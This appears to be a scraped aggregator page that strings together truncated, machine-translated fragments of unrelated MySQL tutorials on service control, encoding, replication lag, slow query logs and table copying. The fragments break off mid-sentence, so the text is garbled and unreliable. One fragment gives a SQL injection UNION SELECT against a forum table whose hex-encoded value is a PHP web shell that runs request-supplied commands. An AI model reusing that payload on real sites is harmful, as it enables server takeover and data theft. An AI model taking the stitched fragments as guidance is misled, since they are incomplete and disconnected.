Local Environment: Windows XP system, XAMPP integrated environment.
XAMPP installation directory: D:/XAMPP
1, first stop the running MySQL process
Copy Code code as follows:
>net stop MySQL
If it is not loaded as a service,
The following is an example of the CPU-intensive processing of MySQL, hoping to be a bit of a inspiration to friends who encounter similar problems. Generally speaking, MYQL occupies a high CPU, most of the database query code problems, too much
Front-End time with a DB-related project, Alanc feedback has a query that uses indexes that are many times slower than not using indexes, a bit of a ruin. So follow up, with explain, look at 2 different results of the query.
Without indexing the
Issues to be considered in implementing a MySQL database encapsulation
1. Ease of Use
The direct SQL statement is used to operate the method. As long as you write SQL statements, there will be no other learning costs.
The uctphp Framework
Write it down before you can find it again!
When PHP operates the database, the data in the database uses UTF8 encoding, and when it is read out, it shows all the??????? The question mark garbled, looked for some data originally is before reads
1: Under the terminal: Mysql-v. The following is a code fragment:
Copy Code code as follows:
[Shengting@login ~]$ Mysql-v
MySQL Ver 14.7 distrib 4.1.10a, for Redhat-linux-gnu (i686)
2::mysql> status in MySQL;The following
The easiest way to export table data to a text file is to use the Select ... The query results into the OUTFILE statement are exported directly to a file on the server host.Select for export Data ... into outfile declaration:
The syntax of this
I guess everyone in the command line operation MySQL will be very worried about the operation of the database now, at least I have struggled, you may say that I do not know the command, yes this is indeed possible.But today we are introducing a good
In a MySQL replication environment, we usually judge slave delays only based on the value of Seconds_behind_master. This is acceptable in most cases, but not accurate enough to consider more factors.
First, let's look at the state of the Slave:
When using storm to process logs, I often encounter the efficiency problem of concurrent insert MySQL, check some information on the Internet, do some notesChange the table's engine to MyISAM,Modify MY.CNF Concurrent_insert=2,concurrent_insert can
Problem
User work Order question: The same statement, only the last limit line number is different. Oddly, the performance of limit 10 is about 10 times times slower than the Limit 100 statement.
Hide User table information, statements, and the
Cough, we look at the good, I do not responsible for the consequences of
Copy Code code as follows:
SELECT * from ' vbb_strikes ' WHERE 1 Union Select 2,3,0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e From
1 Slow query definitionMySQL records all SQL statements that execute a time threshold that exceeds the Long_query_time parameter setting. The slow query log is the log that logs these SQL.
2 Open Slow query logLocate the MySQL configuration file my.
Importing SQL today always prompts for errors
Copy Code code as follows:
ERROR 2013 (HY000): Lost connection to MySQL server during query
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect ...
ERROR 2002 (
Project Thinking Analysis: a PHP project to use the classification, but not certain levels, so want to make an infinite class classification. initially, as before, the database was built with 4 values, as follows: ID: Self | PID: Parent
1 group_concat
Mysql> SELECT Student_name,-> Group_concat (Test_score)-> from Student-> GROUP by Student_name;
Pre
Mysql> SELECT Student_name,-> Group_concat (DISTINCT test_score-> ORDER by Test_score DESC SEPARATOR ')-> from Student-> GROUP
Copy Code code as follows:
CREATE TABLE A like B
This way, when you copy table B to a, the complete field structure and index of table B are copied into table A.
Copy Code code as follows:
CREATE TABLE A as SELECT x,x,x,xx
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service